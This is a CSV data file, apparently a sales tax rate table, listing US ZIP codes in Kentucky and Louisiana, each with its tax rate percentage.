US-KY-41549,US,KY,41549,6,,,, US-KY-41553,US,KY,41553,6,,,, US-KY-41554,US,KY,41554,6,,,, US-KY-41555,US,KY,41555,6,,,, US-KY-41557,US,KY,41557,6,,,, US-KY-41558,US,KY,41558,6,,,, US-KY-41559,US,KY,41559,6,,,, US-KY-41560,US,KY,41560,6,,,, US-KY-41561,US,KY,41561,6,,,, US-KY-41562,US,KY,41562,6,,,, US-KY-41563,US,KY,41563,6,,,, US-KY-41564,US,KY,41564,6,,,, US-KY-41566,US,KY,41566,6,,,, US-KY-41567,US,KY,41567,6,,,, US-KY-41568,US,KY,41568,6,,,, US-KY-41571,US,KY,41571,6,,,, US-KY-41572,US,KY,41572,6,,,, US-KY-41601,US,KY,41601,6,,,, US-KY-41602,US,KY,41602,6,,,, US-KY-41603,US,KY,41603,6,,,, US-KY-41604,US,KY,41604,6,,,, US-KY-41605,US,KY,41605,6,,,, US-KY-41606,US,KY,41606,6,,,, US-KY-41607,US,KY,41607,6,,,, US-KY-41612,US,KY,41612,6,,,, US-KY-41615,US,KY,41615,6,,,, US-KY-41616,US,KY,41616,6,,,, US-KY-41619,US,KY,41619,6,,,, US-KY-41621,US,KY,41621,6,,,, US-KY-41622,US,KY,41622,6,,,, US-KY-41630,US,KY,41630,6,,,, US-KY-41631,US,KY,41631,6,,,, US-KY-41632,US,KY,41632,6,,,, US-KY-41635,US,KY,41635,6,,,, US-KY-41636,US,KY,41636,6,,,, US-KY-41640,US,KY,41640,6,,,, US-KY-41642,US,KY,41642,6,,,, US-KY-41643,US,KY,41643,6,,,, US-KY-41645,US,KY,41645,6,,,, US-KY-41647,US,KY,41647,6,,,, US-KY-41649,US,KY,41649,6,,,, US-KY-41650,US,KY,41650,6,,,, US-KY-41651,US,KY,41651,6,,,, US-KY-41653,US,KY,41653,6,,,, US-KY-41655,US,KY,41655,6,,,, US-KY-41659,US,KY,41659,6,,,, US-KY-41660,US,KY,41660,6,,,, US-KY-41663,US,KY,41663,6,,,, US-KY-41666,US,KY,41666,6,,,, US-KY-41667,US,KY,41667,6,,,, US-KY-41669,US,KY,41669,6,,,, US-KY-41701,US,KY,41701,6,,,, US-KY-41702,US,KY,41702,6,,,, US-KY-41712,US,KY,41712,6,,,, US-KY-41713,US,KY,41713,6,,,, US-KY-41714,US,KY,41714,6,,,, US-KY-41719,US,KY,41719,6,,,, US-KY-41721,US,KY,41721,6,,,, US-KY-41722,US,KY,41722,6,,,, US-KY-41723,US,KY,41723,6,,,, US-KY-41725,US,KY,41725,6,,,, US-KY-41727,US,KY,41727,6,,,, US-KY-41729,US,KY,41729,6,,,, US-KY-41731,US,KY,41731,6,,,, US-KY-41735,US,KY,41735,6,,,, US-KY-41736,US,KY,41736,6,,,, US-KY-41739,US,KY,41739,6,,,, US-KY-41740,US,KY,41740,6,,,, US-KY-41743,US,KY,41743,6,,,, US-KY-41745,US,KY,41745,6,,,, US-KY-41746,US,KY,41746,6,,,, US-KY-41749,US,KY,41749,6,,,, US-KY-41751,US,KY,41751,6,,,, US-KY-41754,US,KY,41754,6,,,, US-KY-41759,US,KY,41759,6,,,, US-KY-41760,US,KY,41760,6,,,, US-KY-41762,US,KY,41762,6,,,, US-KY-41763,US,KY,41763,6,,,, US-KY-41764,US,KY,41764,6,,,, US-KY-41766,US,KY,41766,6,,,, US-KY-41772,US,KY,41772,6,,,, US-KY-41773,US,KY,41773,6,,,, US-KY-41774,US,KY,41774,6,,,, US-KY-41775,US,KY,41775,6,,,, US-KY-41776,US,KY,41776,6,,,, US-KY-41777,US,KY,41777,6,,,, US-KY-41778,US,KY,41778,6,,,, US-KY-41804,US,KY,41804,6,,,, US-KY-41810,US,KY,41810,6,,,, US-KY-41812,US,KY,41812,6,,,, US-KY-41815,US,KY,41815,6,,,, US-KY-41817,US,KY,41817,6,,,, US-KY-41819,US,KY,41819,6,,,, US-KY-41821,US,KY,41821,6,,,, US-KY-41822,US,KY,41822,6,,,, US-KY-41824,US,KY,41824,6,,,, US-KY-41825,US,KY,41825,6,,,, US-KY-41826,US,KY,41826,6,,,, US-KY-41828,US,KY,41828,6,,,, US-KY-41831,US,KY,41831,6,,,, US-KY-41832,US,KY,41832,6,,,, US-KY-41833,US,KY,41833,6,,,, US-KY-41834,US,KY,41834,6,,,, US-KY-41835,US,KY,41835,6,,,, US-KY-41836,US,KY,41836,6,,,, US-KY-41837,US,KY,41837,6,,,, US-KY-41838,US,KY,41838,6,,,, US-KY-41839,US,KY,41839,6,,,, US-KY-41840,US,KY,41840,6,,,, US-KY-41843,US,KY,41843,6,,,, US-KY-41844,US,KY,41844,6,,,, US-KY-41845,US,KY,41845,6,,,, US-KY-41847,US,KY,41847,6,,,, US-KY-41848,US,KY,41848,6,,,, US-KY-41849,US,KY,41849,6,,,, US-KY-41855,US,KY,41855,6,,,, US-KY-41858,US,KY,41858,6,,,, US-KY-41859,US,KY,41859,6,,,, US-KY-41861,US,KY,41861,6,,,, US-KY-41862,US,KY,41862,6,,,, US-KY-42001,US,KY,42001,6,,,, US-KY-42002,US,KY,42002,6,,,, US-KY-42003,US,KY,42003,6,,,, US-KY-42020,US,KY,42020,6,,,, US-KY-42021,US,KY,42021,6,,,, US-KY-42022,US,KY,42022,6,,,, US-KY-42023,US,KY,42023,6,,,, US-KY-42024,US,KY,42024,6,,,, US-KY-42025,US,KY,42025,6,,,, US-KY-42027,US,KY,42027,6,,,, US-KY-42028,US,KY,42028,6,,,, US-KY-42029,US,KY,42029,6,,,, US-KY-42031,US,KY,42031,6,,,, US-KY-42032,US,KY,42032,6,,,, US-KY-42033,US,KY,42033,6,,,, US-KY-42035,US,KY,42035,6,,,, US-KY-42036,US,KY,42036,6,,,, US-KY-42037,US,KY,42037,6,,,, US-KY-42038,US,KY,42038,6,,,, US-KY-42039,US,KY,42039,6,,,, US-KY-42040,US,KY,42040,6,,,, US-KY-42041,US,KY,42041,6,,,, US-KY-42044,US,KY,42044,6,,,, US-KY-42045,US,KY,42045,6,,,, US-KY-42047,US,KY,42047,6,,,, US-KY-42048,US,KY,42048,6,,,, US-KY-42049,US,KY,42049,6,,,, US-KY-42050,US,KY,42050,6,,,, US-KY-42051,US,KY,42051,6,,,, US-KY-42053,US,KY,42053,6,,,, US-KY-42054,US,KY,42054,6,,,, US-KY-42055,US,KY,42055,6,,,, US-KY-42056,US,KY,42056,6,,,, US-KY-42058,US,KY,42058,6,,,, US-KY-42060,US,KY,42060,6,,,, US-KY-42061,US,KY,42061,6,,,, US-KY-42063,US,KY,42063,6,,,, US-KY-42064,US,KY,42064,6,,,, US-KY-42066,US,KY,42066,6,,,, US-KY-42069,US,KY,42069,6,,,, US-KY-42070,US,KY,42070,6,,,, US-KY-42071,US,KY,42071,6,,,, US-KY-42076,US,KY,42076,6,,,, US-KY-42078,US,KY,42078,6,,,, US-KY-42079,US,KY,42079,6,,,, US-KY-42081,US,KY,42081,6,,,, US-KY-42082,US,KY,42082,6,,,, US-KY-42083,US,KY,42083,6,,,, US-KY-42084,US,KY,42084,6,,,, US-KY-42085,US,KY,42085,6,,,, US-KY-42086,US,KY,42086,6,,,, US-KY-42087,US,KY,42087,6,,,, US-KY-42088,US,KY,42088,6,,,, US-KY-42101,US,KY,42101,6,,,, US-KY-42102,US,KY,42102,6,,,, US-KY-42103,US,KY,42103,6,,,, US-KY-42104,US,KY,42104,6,,,, US-KY-42120,US,KY,42120,6,,,, US-KY-42122,US,KY,42122,6,,,, US-KY-42123,US,KY,42123,6,,,, US-KY-42124,US,KY,42124,6,,,, US-KY-42127,US,KY,42127,6,,,, US-KY-42128,US,KY,42128,6,,,, US-KY-42129,US,KY,42129,6,,,, US-KY-42130,US,KY,42130,6,,,, US-KY-42131,US,KY,42131,6,,,, US-KY-42133,US,KY,42133,6,,,, US-KY-42134,US,KY,42134,6,,,, US-KY-42135,US,KY,42135,6,,,, US-KY-42140,US,KY,42140,6,,,, US-KY-42141,US,KY,42141,6,,,, US-KY-42142,US,KY,42142,6,,,, US-KY-42151,US,KY,42151,6,,,, US-KY-42152,US,KY,42152,6,,,, US-KY-42153,US,KY,42153,6,,,, US-KY-42154,US,KY,42154,6,,,, US-KY-42156,US,KY,42156,6,,,, US-KY-42157,US,KY,42157,6,,,, US-KY-42159,US,KY,42159,6,,,, US-KY-42160,US,KY,42160,6,,,, US-KY-42163,US,KY,42163,6,,,, US-KY-42164,US,KY,42164,6,,,, US-KY-42166,US,KY,42166,6,,,, US-KY-42167,US,KY,42167,6,,,, US-KY-42170,US,KY,42170,6,,,, US-KY-42171,US,KY,42171,6,,,, US-KY-42201,US,KY,42201,6,,,, US-KY-42202,US,KY,42202,6,,,, US-KY-42204,US,KY,42204,6,,,, US-KY-42206,US,KY,42206,6,,,, US-KY-42207,US,KY,42207,6,,,, US-KY-42210,US,KY,42210,6,,,, US-KY-42211,US,KY,42211,6,,,, US-KY-42214,US,KY,42214,6,,,, US-KY-42215,US,KY,42215,6,,,, US-KY-42216,US,KY,42216,6,,,, US-KY-42217,US,KY,42217,6,,,, US-KY-42219,US,KY,42219,6,,,, US-KY-42220,US,KY,42220,6,,,, US-KY-42221,US,KY,42221,6,,,, US-KY-42223,US,KY,42223,6,,,, US-KY-42232,US,KY,42232,6,,,, US-KY-42234,US,KY,42234,6,,,, US-KY-42236,US,KY,42236,6,,,, US-KY-42240,US,KY,42240,6,,,, US-KY-42241,US,KY,42241,6,,,, US-KY-42252,US,KY,42252,6,,,, US-KY-42254,US,KY,42254,6,,,, US-KY-42256,US,KY,42256,6,,,, US-KY-42259,US,KY,42259,6,,,, US-KY-42261,US,KY,42261,6,,,, US-KY-42262,US,KY,42262,6,,,, US-KY-42265,US,KY,42265,6,,,, US-KY-42266,US,KY,42266,6,,,, US-KY-42273,US,KY,42273,6,,,, US-KY-42274,US,KY,42274,6,,,, US-KY-42275,US,KY,42275,6,,,, US-KY-42276,US,KY,42276,6,,,, US-KY-42280,US,KY,42280,6,,,, US-KY-42285,US,KY,42285,6,,,, US-KY-42286,US,KY,42286,6,,,, US-KY-42288,US,KY,42288,6,,,, US-KY-42301,US,KY,42301,6,,,, US-KY-42302,US,KY,42302,6,,,, US-KY-42303,US,KY,42303,6,,,, US-KY-42304,US,KY,42304,6,,,, US-KY-42320,US,KY,42320,6,,,, US-KY-42321,US,KY,42321,6,,,, US-KY-42322,US,KY,42322,6,,,, US-KY-42323,US,KY,42323,6,,,, US-KY-42324,US,KY,42324,6,,,, US-KY-42325,US,KY,42325,6,,,, US-KY-42326,US,KY,42326,6,,,, US-KY-42327,US,KY,42327,6,,,, US-KY-42328,US,KY,42328,6,,,, US-KY-42330,US,KY,42330,6,,,, US-KY-42332,US,KY,42332,6,,,, US-KY-42333,US,KY,42333,6,,,, US-KY-42334,US,KY,42334,6,,,, US-KY-42337,US,KY,42337,6,,,, US-KY-42338,US,KY,42338,6,,,, US-KY-42339,US,KY,42339,6,,,, US-KY-42343,US,KY,42343,6,,,, US-KY-42344,US,KY,42344,6,,,, US-KY-42345,US,KY,42345,6,,,, US-KY-42347,US,KY,42347,6,,,, US-KY-42348,US,KY,42348,6,,,, US-KY-42349,US,KY,42349,6,,,, US-KY-42350,US,KY,42350,6,,,, US-KY-42351,US,KY,42351,6,,,, US-KY-42352,US,KY,42352,6,,,, US-KY-42354,US,KY,42354,6,,,, US-KY-42355,US,KY,42355,6,,,, US-KY-42356,US,KY,42356,6,,,, US-KY-42361,US,KY,42361,6,,,, US-KY-42364,US,KY,42364,6,,,, US-KY-42366,US,KY,42366,6,,,, US-KY-42367,US,KY,42367,6,,,, US-KY-42368,US,KY,42368,6,,,, US-KY-42369,US,KY,42369,6,,,, US-KY-42370,US,KY,42370,6,,,, US-KY-42371,US,KY,42371,6,,,, US-KY-42372,US,KY,42372,6,,,, US-KY-42374,US,KY,42374,6,,,, US-KY-42376,US,KY,42376,6,,,, US-KY-42377,US,KY,42377,6,,,, US-KY-42378,US,KY,42378,6,,,, US-KY-42402,US,KY,42402,6,,,, US-KY-42404,US,KY,42404,6,,,, US-KY-42406,US,KY,42406,6,,,, US-KY-42408,US,KY,42408,6,,,, US-KY-42409,US,KY,42409,6,,,, US-KY-42410,US,KY,42410,6,,,, US-KY-42411,US,KY,42411,6,,,, US-KY-42413,US,KY,42413,6,,,, US-KY-42419,US,KY,42419,6,,,, US-KY-42420,US,KY,42420,6,,,, US-KY-42431,US,KY,42431,6,,,, US-KY-42436,US,KY,42436,6,,,, US-KY-42437,US,KY,42437,6,,,, US-KY-42440,US,KY,42440,6,,,, US-KY-42441,US,KY,42441,6,,,, US-KY-42442,US,KY,42442,6,,,, US-KY-42444,US,KY,42444,6,,,, US-KY-42445,US,KY,42445,6,,,, US-KY-42450,US,KY,42450,6,,,, US-KY-42451,US,KY,42451,6,,,, US-KY-42452,US,KY,42452,6,,,, US-KY-42453,US,KY,42453,6,,,, US-KY-42455,US,KY,42455,6,,,, US-KY-42456,US,KY,42456,6,,,, US-KY-42457,US,KY,42457,6,,,, US-KY-42458,US,KY,42458,6,,,, US-KY-42459,US,KY,42459,6,,,, US-KY-42460,US,KY,42460,6,,,, US-KY-42461,US,KY,42461,6,,,, US-KY-42462,US,KY,42462,6,,,, US-KY-42463,US,KY,42463,6,,,, US-KY-42464,US,KY,42464,6,,,, US-KY-42501,US,KY,42501,6,,,, US-KY-42502,US,KY,42502,6,,,, US-KY-42503,US,KY,42503,6,,,, US-KY-42516,US,KY,42516,6,,,, US-KY-42518,US,KY,42518,6,,,, US-KY-42519,US,KY,42519,6,,,, US-KY-42528,US,KY,42528,6,,,, US-KY-42533,US,KY,42533,6,,,, US-KY-42539,US,KY,42539,6,,,, US-KY-42541,US,KY,42541,6,,,, US-KY-42544,US,KY,42544,6,,,, US-KY-42553,US,KY,42553,6,,,, US-KY-42558,US,KY,42558,6,,,, US-KY-42564,US,KY,42564,6,,,, US-KY-42565,US,KY,42565,6,,,, US-KY-42566,US,KY,42566,6,,,, US-KY-42567,US,KY,42567,6,,,, US-KY-42602,US,KY,42602,6,,,, US-KY-42603,US,KY,42603,6,,,, US-KY-42629,US,KY,42629,6,,,, US-KY-42631,US,KY,42631,6,,,, US-KY-42633,US,KY,42633,6,,,, US-KY-42634,US,KY,42634,6,,,, US-KY-42635,US,KY,42635,6,,,, US-KY-42638,US,KY,42638,6,,,, US-KY-42642,US,KY,42642,6,,,, US-KY-42647,US,KY,42647,6,,,, US-KY-42649,US,KY,42649,6,,,, US-KY-42653,US,KY,42653,6,,,, US-KY-42701,US,KY,42701,6,,,, US-KY-42702,US,KY,42702,6,,,, US-KY-42712,US,KY,42712,6,,,, US-KY-42713,US,KY,42713,6,,,, US-KY-42715,US,KY,42715,6,,,, US-KY-42716,US,KY,42716,6,,,, US-KY-42717,US,KY,42717,6,,,, US-KY-42718,US,KY,42718,6,,,, US-KY-42719,US,KY,42719,6,,,, US-KY-42720,US,KY,42720,6,,,, US-KY-42721,US,KY,42721,6,,,, US-KY-42722,US,KY,42722,6,,,, US-KY-42724,US,KY,42724,6,,,, US-KY-42726,US,KY,42726,6,,,, US-KY-42728,US,KY,42728,6,,,, US-KY-42729,US,KY,42729,6,,,, US-KY-42731,US,KY,42731,6,,,, US-KY-42732,US,KY,42732,6,,,, US-KY-42733,US,KY,42733,6,,,, US-KY-42740,US,KY,42740,6,,,, US-KY-42741,US,KY,42741,6,,,, US-KY-42742,US,KY,42742,6,,,, US-KY-42743,US,KY,42743,6,,,, US-KY-42746,US,KY,42746,6,,,, US-KY-42748,US,KY,42748,6,,,, US-KY-42749,US,KY,42749,6,,,, US-KY-42753,US,KY,42753,6,,,, US-KY-42754,US,KY,42754,6,,,, US-KY-42755,US,KY,42755,6,,,, US-KY-42757,US,KY,42757,6,,,, US-KY-42758,US,KY,42758,6,,,, US-KY-42759,US,KY,42759,6,,,, US-KY-42762,US,KY,42762,6,,,, US-KY-42764,US,KY,42764,6,,,, US-KY-42765,US,KY,42765,6,,,, US-KY-42776,US,KY,42776,6,,,, US-KY-42782,US,KY,42782,6,,,, US-KY-42784,US,KY,42784,6,,,, US-KY-42788,US,KY,42788,6,,,, US-LA-70001,US,LA,70001,8.75,,,, US-LA-70002,US,LA,70002,8.75,,,, US-LA-70003,US,LA,70003,8.75,,,, US-LA-70004,US,LA,70004,8.75,,,, US-LA-70005,US,LA,70005,8.75,,,, US-LA-70006,US,LA,70006,8.75,,,, US-LA-70009,US,LA,70009,8.75,,,, US-LA-70010,US,LA,70010,8.75,,,, US-LA-70011,US,LA,70011,8.75,,,, US-LA-70030,US,LA,70030,9,,,, US-LA-70031,US,LA,70031,9,,,, US-LA-70032,US,LA,70032,9,,,, US-LA-70033,US,LA,70033,8.75,,,, US-LA-70036,US,LA,70036,8.75,,,, US-LA-70037,US,LA,70037,8,,,, US-LA-70038,US,LA,70038,8,,,, US-LA-70039,US,LA,70039,9,,,, US-LA-70040,US,LA,70040,8,,,, US-LA-70041,US,LA,70041,8,,,, US-LA-70043,US,LA,70043,9,,,, US-LA-70044,US,LA,70044,9,,,, US-LA-70047,US,LA,70047,9,,,, US-LA-70049,US,LA,70049,8.75,,,, US-LA-70050,US,LA,70050,8,,,, US-LA-70051,US,LA,70051,8.75,,,, US-LA-70052,US,LA,70052,7.5,,,, US-LA-70053,US,LA,70053,8.75,,,, US-LA-70054,US,LA,70054,8.75,,,, US-LA-70055,US,LA,70055,8.75,,,, US-LA-70056,US,LA,70056,8.75,,,, US-LA-70057,US,LA,70057,9,,,, US-LA-70058,US,LA,70058,8.75,,,, US-LA-70059,US,LA,70059,8.75,,,, US-LA-70060,US,LA,70060,8.75,,,, US-LA-70062,US,LA,70062,8.75,,,, US-LA-70063,US,LA,70063,8.75,,,, US-LA-70064,US,LA,70064,8.75,,,, US-LA-70065,US,LA,70065,8.75,,,, US-LA-70067,US,LA,70067,8.75,,,, US-LA-70068,US,LA,70068,8.75,,,, US-LA-70069,US,LA,70069,8.75,,,, US-LA-70070,US,LA,70070,9,,,, US-LA-70071,US,LA,70071,7.5,,,, US-LA-70072,US,LA,70072,8.75,,,, US-LA-70073,US,LA,70073,8.75,,,, US-LA-70075,US,LA,70075,9,,,, US-LA-70076,US,LA,70076,8.75,,,, US-LA-70078,US,LA,70078,9,,,, US-LA-70079,US,LA,70079,9,,,, US-LA-70080,US,LA,70080,9,,,, US-LA-70081,US,LA,70081,8,,,, US-LA-70082,US,LA,70082,8,,,, US-LA-70083,US,LA,70083,8,,,, US-LA-70084,US,LA,70084,8.75,,,, US-LA-70085,US,LA,70085,9,,,, US-LA-70086,US,LA,70086,7.5,,,, US-LA-70087,US,LA,70087,9,,,, US-LA-70090,US,LA,70090,7.5,,,, US-LA-70091,US,LA,70091,8,,,, US-LA-70092,US,LA,70092,9,,,, US-LA-70093,US,LA,70093,8,,,, US-LA-70094,US,LA,70094,8.75,,,, US-LA-70096,US,LA,70096,8.75,,,, US-LA-70097,US,LA,70097,8.75,,,, US-LA-70112,US,LA,70112,9,,,, US-LA-70113,US,LA,70113,9,,,, US-LA-70114,US,LA,70114,9,,,, US-LA-70115,US,LA,70115,9,,,, US-LA-70116,US,LA,70116,9,,,, US-LA-70117,US,LA,70117,9,,,, US-LA-70118,US,LA,70118,9,,,, US-LA-70119,US,LA,70119,9,,,, US-LA-70121,US,LA,70121,8.75,,,, US-LA-70122,US,LA,70122,9,,,, US-LA-70123,US,LA,70123,8.75,,,, US-LA-70124,US,LA,70124,9,,,, US-LA-70125,US,LA,70125,9,,,, US-LA-70126,US,LA,70126,9,,,, US-LA-70127,US,LA,70127,9,,,, US-LA-70128,US,LA,70128,9,,,, US-LA-70129,US,LA,70129,9,,,, US-LA-70130,US,LA,70130,9,,,, US-LA-70131,US,LA,70131,9,,,, US-LA-70139,US,LA,70139,9,,,, US-LA-70141,US,LA,70141,10.75,,,, US-LA-70142,US,LA,70142,9,,,, US-LA-70143,US,LA,70143,9,,,, US-LA-70145,US,LA,70145,9,,,, US-LA-70146,US,LA,70146,9,,,, US-LA-70148,US,LA,70148,9,,,, US-LA-70150,US,LA,70150,9,,,, US-LA-70151,US,LA,70151,9,,,, US-LA-70152,US,LA,70152,9,,,, US-LA-70153,US,LA,70153,9,,,, US-LA-70154,US,LA,70154,9,,,, US-LA-70156,US,LA,70156,9,,,, US-LA-70157,US,LA,70157,9,,,, US-LA-70158,US,LA,70158,9,,,, US-LA-70159,US,LA,70159,9,,,, US-LA-70160,US,LA,70160,9,,,, US-LA-70161,US,LA,70161,9,,,, US-LA-70162,US,LA,70162,9,,,, US-LA-70163,US,LA,70163,9,,,, US-LA-70164,US,LA,70164,9,,,, US-LA-70165,US,LA,70165,9,,,, US-LA-70166,US,LA,70166,9,,,, US-LA-70167,US,LA,70167,9,,,, US-LA-70170,US,LA,70170,9,,,, US-LA-70172,US,LA,70172,9,,,, US-LA-70174,US,LA,70174,9,,,, US-LA-70175,US,LA,70175,9,,,, US-LA-70176,US,LA,70176,9,,,, US-LA-70177,US,LA,70177,9,,,, US-LA-70178,US,LA,70178,9,,,, US-LA-70179,US,LA,70179,9,,,, US-LA-70181,US,LA,70181,9,,,, US-LA-70182,US,LA,70182,9,,,, US-LA-70183,US,LA,70183,8.75,,,, US-LA-70184,US,LA,70184,9,,,, US-LA-70185,US,LA,70185,9,,,, US-LA-70186,US,LA,70186,9,,,, US-LA-70187,US,LA,70187,9,,,, US-LA-70189,US,LA,70189,9,,,, US-LA-70190,US,LA,70190,9,,,, US-LA-70195,US,LA,70195,9,,,, US-LA-70301,US,LA,70301,8,,,, US-LA-70302,US,LA,70302,8,,,, US-LA-70310,US,LA,70310,8,,,, US-LA-70339,US,LA,70339,9,,,, US-LA-70340,US,LA,70340,8,,,, US-LA-70341,US,LA,70341,9,,,, US-LA-70342,US,LA,70342,8,,,, US-LA-70343,US,LA,70343,9,,,, US-LA-70344,US,LA,70344,9,,,, US-LA-70345,US,LA,70345,9.2,,,, US-LA-70346,US,LA,70346,9,,,, US-LA-70352,US,LA,70352,9,,,, US-LA-70353,US,LA,70353,9,,,, US-LA-70354,US,LA,70354,9.2,,,, US-LA-70355,US,LA,70355,8.7,,,, US-LA-70356,US,LA,70356,9,,,, US-LA-70357,US,LA,70357,9.2,,,, US-LA-70358,US,LA,70358,8.75,,,, US-LA-70359,US,LA,70359,9,,,, US-LA-70360,US,LA,70360,9,,,, US-LA-70361,US,LA,70361,9,,,, US-LA-70363,US,LA,70363,9,,,, US-LA-70364,US,LA,70364,9,,,, US-LA-70371,US,LA,70371,8.7,,,, US-LA-70372,US,LA,70372,9,,,, US-LA-70373,US,LA,70373,9.2,,,, US-LA-70374,US,LA,70374,8.7,,,, US-LA-70375,US,LA,70375,8.7,,,, US-LA-70377,US,LA,70377,9,,,, US-LA-70380,US,LA,70380,8.3,,,, US-LA-70381,US,LA,70381,8.3,,,, US-LA-70390,US,LA,70390,9,,,, US-LA-70391,US,LA,70391,9,,,, US-LA-70392,US,LA,70392,8,,,, US-LA-70393,US,LA,70393,9,,,, US-LA-70394,US,LA,70394,8.7,,,, US-LA-70395,US,LA,70395,9,,,, US-LA-70397,US,LA,70397,9,,,, US-LA-70401,US,LA,70401,9,,,, US-LA-70402,US,LA,70402,9,,,, US-LA-70403,US,LA,70403,7,,,, US-LA-70404,US,LA,70404,9,,,, US-LA-70420,US,LA,70420,8.75,,,, US-LA-70421,US,LA,70421,7,,,, US-LA-70422,US,LA,70422,7,,,, US-LA-70426,US,LA,70426,8.5,,,, US-LA-70427,US,LA,70427,9.163,,,, US-LA-70429,US,LA,70429,9.163,,,, US-LA-70431,US,LA,70431,8.75,,,, US-LA-70433,US,LA,70433,8.75,,,, US-LA-70434,US,LA,70434,8.75,,,, US-LA-70435,US,LA,70435,8.75,,,, US-LA-70436,US,LA,70436,7.5,,,, US-LA-70437,US,LA,70437,8.75,,,, US-LA-70438,US,LA,70438,8.5,,,, US-LA-70441,US,LA,70441,9,,,, US-LA-70442,US,LA,70442,7,,,, US-LA-70443,US,LA,70443,7,,,, US-LA-70444,US,LA,70444,7,,,, US-LA-70445,US,LA,70445,8.75,,,, US-LA-70446,US,LA,70446,7,,,, US-LA-70447,US,LA,70447,8.75,,,, US-LA-70448,US,LA,70448,8.75,,,, US-LA-70449,US,LA,70449,9,,,, US-LA-70450,US,LA,70450,8.5,,,, US-LA-70451,US,LA,70451,7,,,, US-LA-70452,US,LA,70452,8.75,,,, US-LA-70453,US,LA,70453,9,,,, US-LA-70454,US,LA,70454,7,,,, US-LA-70455,US,LA,70455,7,,,, US-LA-70456,US,LA,70456,7.5,,,, US-LA-70457,US,LA,70457,8.75,,,, US-LA-70458,US,LA,70458,8.75,,,, US-LA-70459,US,LA,70459,8.75,,,, US-LA-70460,US,LA,70460,8.75,,,, US-LA-70461,US,LA,70461,8.75,,,, US-LA-70462,US,LA,70462,8,,,, US-LA-70463,US,LA,70463,9.25,,,, US-LA-70464,US,LA,70464,8.75,,,, US-LA-70465,US,LA,70465,9,,,, US-LA-70466,US,LA,70466,7,,,, US-LA-70467,US,LA,70467,8.5,,,, US-LA-70469,US,LA,70469,8.75,,,, US-LA-70470,US,LA,70470,9.25,,,, US-LA-70471,US,LA,70471,8.75,,,, US-LA-70501,US,LA,70501,8,,,, US-LA-70502,US,LA,70502,8,,,, US-LA-70503,US,LA,70503,8,,,, US-LA-70504,US,LA,70504,8,,,, US-LA-70505,US,LA,70505,8,,,, US-LA-70506,US,LA,70506,8,,,, US-LA-70507,US,LA,70507,8,,,, US-LA-70508,US,LA,70508,8,,,, US-LA-70509,US,LA,70509,8,,,, US-LA-70510,US,LA,70510,9.5,,,, US-LA-70511,US,LA,70511,9.5,,,, US-LA-70512,US,LA,70512,7.55,,,, US-LA-70513,US,LA,70513,7.25,,,, US-LA-70514,US,LA,70514,8,,,, US-LA-70515,US,LA,70515,8.25,,,, US-LA-70516,US,LA,70516,8.25,,,, US-LA-70517,US,LA,70517,7.5,,,, US-LA-70518,US,LA,70518,7.5,,,, US-LA-70519,US,LA,70519,7.5,,,, US-LA-70520,US,LA,70520,8,,,, US-LA-70521,US,LA,70521,7.5,,,, US-LA-70523,US,LA,70523,8,,,, US-LA-70524,US,LA,70524,9,,,, US-LA-70525,US,LA,70525,8.25,,,, US-LA-70526,US,LA,70526,9.5,,,, US-LA-70527,US,LA,70527,9.5,,,, US-LA-70528,US,LA,70528,9.25,,,, US-LA-70529,US,LA,70529,8,,,, US-LA-70531,US,LA,70531,8.25,,,, US-LA-70532,US,LA,70532,8.5,,,, US-LA-70533,US,LA,70533,8.25,,,, US-LA-70534,US,LA,70534,8.25,,,, US-LA-70535,US,LA,70535,9.75,,,, US-LA-70537,US,LA,70537,8.25,,,, US-LA-70538,US,LA,70538,8,,,, US-LA-70540,US,LA,70540,8,,,, US-LA-70541,US,LA,70541,9.55,,,, US-LA-70542,US,LA,70542,7.75,,,, US-LA-70543,US,LA,70543,8.25,,,, US-LA-70544,US,LA,70544,8.5,,,, US-LA-70546,US,LA,70546,9,,,, US-LA-70548,US,LA,70548,8.75,,,, US-LA-70549,US,LA,70549,9,,,, US-LA-70550,US,LA,70550,7.55,,,, US-LA-70551,US,LA,70551,7.55,,,, US-LA-70552,US,LA,70552,7.25,,,, US-LA-70554,US,LA,70554,9,,,, US-LA-70555,US,LA,70555,8.25,,,, US-LA-70556,US,LA,70556,8.25,,,, US-LA-70558,US,LA,70558,8,,,, US-LA-70559,US,LA,70559,8.25,,,, US-LA-70560,US,LA,70560,8.5,,,, US-LA-70562,US,LA,70562,8.5,,,, US-LA-70563,US,LA,70563,7.25,,,, US-LA-70569,US,LA,70569,7.25,,,, US-LA-70570,US,LA,70570,9.75,,,, US-LA-70571,US,LA,70571,9.75,,,, US-LA-70575,US,LA,70575,8.25,,,, US-LA-70576,US,LA,70576,9,,,, US-LA-70577,US,LA,70577,7.55,,,, US-LA-70578,US,LA,70578,9,,,, US-LA-70580,US,LA,70580,9,,,, US-LA-70581,US,LA,70581,8.5,,,, US-LA-70582,US,LA,70582,8.5,,,, US-LA-70583,US,LA,70583,8,,,, US-LA-70584,US,LA,70584,7.55,,,, US-LA-70585,US,LA,70585,9,,,, US-LA-70586,US,LA,70586,9,,,, US-LA-70589,US,LA,70589,7.55,,,, US-LA-70591,US,LA,70591,8.5,,,, US-LA-70592,US,LA,70592,9.5,,,, US-LA-70593,US,LA,70593,8,,,, US-LA-70596,US,LA,70596,8,,,, US-LA-70598,US,LA,70598,8,,,, US-LA-70601,US,LA,70601,9,,,, US-LA-70602,US,LA,70602,9,,,, US-LA-70605,US,LA,70605,9,,,, US-LA-70606,US,LA,70606,9,,,, US-LA-70607,US,LA,70607,9,,,, US-LA-70609,US,LA,70609,9,,,, US-LA-70611,US,LA,70611,9.25,,,, US-LA-70612,US,LA,70612,9.25,,,, US-LA-70615,US,LA,70615,9.25,,,, US-LA-70616,US,LA,70616,9,,,, US-LA-70629,US,LA,70629,9,,,, US-LA-70630,US,LA,70630,9.25,,,, US-LA-70631,US,LA,70631,4,,,, US-LA-70632,US,LA,70632,4,,,, US-LA-70633,US,LA,70633,9.25,,,, US-LA-70634,US,LA,70634,9,,,, US-LA-70637,US,LA,70637,8.75,,,, US-LA-70638,US,LA,70638,10,,,, US-LA-70639,US,LA,70639,8,,,, US-LA-70640,US,LA,70640,8.5,,,, US-LA-70643,US,LA,70643,4,,,, US-LA-70644,US,LA,70644,8.7,,,, US-LA-70645,US,LA,70645,4,,,, US-LA-70646,US,LA,70646,9.25,,,, US-LA-70647,US,LA,70647,9.25,,,, US-LA-70648,US,LA,70648,8.7,,,, US-LA-70650,US,LA,70650,8.5,,,, US-LA-70651,US,LA,70651,8.7,,,, US-LA-70652,US,LA,70652,8.75,,,, 